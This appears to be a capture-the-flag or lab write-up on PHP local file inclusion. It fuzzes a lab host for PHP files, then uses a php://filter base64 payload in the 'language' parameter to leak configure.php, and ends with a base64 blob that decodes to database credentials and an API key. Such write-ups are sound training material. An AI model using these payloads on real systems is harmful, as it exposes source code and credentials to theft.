# PHP Filters

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FmbBdWHNlrxdEd3pQbGEc%2Fimage.png?alt=media&#x26;token=3e8bcd4b-5e75-496d-a22b-928540c36443" alt=""><figcaption></figcaption></figure>

First we have to discover the php file in the website

{% code overflow="wrap" %}

```
ffuf -u http://94.237.62.149:56003/FUZZ.php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F8Lv75XOBr8YukvtBcOZH%2Fimage.png?alt=media&#x26;token=8ecb4cbd-136e-43b8-b0ab-a3c13d23c512" alt=""><figcaption></figcaption></figure>

But once we put the configure in the parameter it returns nothing

```
http://94.237.62.149:56003/index.php?language=configure
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQIQ3jxHFCh0yfby6Nme3%2Fimage.png?alt=media&#x26;token=f9d37284-7fb2-4769-aea9-ef37e798885b" alt=""><figcaption></figcaption></figure>

Then we will use the php filter function

{% code overflow="wrap" %}

```
http://94.237.62.149:56003/index.php?language=php://filter/read=convert.base64-encode/resource=configure
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FAJ7SpNKpLKRoXd782oaf%2Fimage.png?alt=media&#x26;token=56925bb6-b17c-4214-9fb3-bd9fbb0fbb33" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
echo 'PD9waHAKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJyAmJiByZWFscGF0aChfX0ZJTEVfXykgPT0gcmVhbHBhdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgewogIGhlYWRlcignSFRUUC8xLjAgNDAzIEZvcmJpZGRlbicsIFRSVUUsIDQwMyk7CiAgZGllKGhlYWRlcignbG9jYXRpb246IC9pbmRleC5waHAnKSk7Cn0KCiRjb25maWcgPSBhcnJheSgKICAnREJfSE9TVCcgPT4gJ2RiLmlubGFuZWZyZWlnaHQubG9jYWwnLAogICdEQl9VU0VSTkFNRScgPT4gJ3Jvb3QnLAogICdEQl9QQVNTV09SRCcgPT4gJ0hUQntuM3Yzcl8kdDByM19wbDQhbnQzeHRfY3IzZCR9JywKICAnREJfREFUQUJBU0UnID0+ICdibG9nZGInCik7CgokQVBJX0tFWSA9ICJBd2V3MjQyR0RzaHJmNDYrMzUvayI7' | base64 -d
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fdu7RksBo5O1XIAXN1O8H%2Fimage.png?alt=media&#x26;token=1573783a-5537-42ae-b3ab-b0cf104e72e5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMqzamFdWoPSYTnJ694wh%2Fimage.png?alt=media&#x26;token=32e5981d-d8d8-4562-a0d6-3fa4872af4a8" alt=""><figcaption></figcaption></figure>
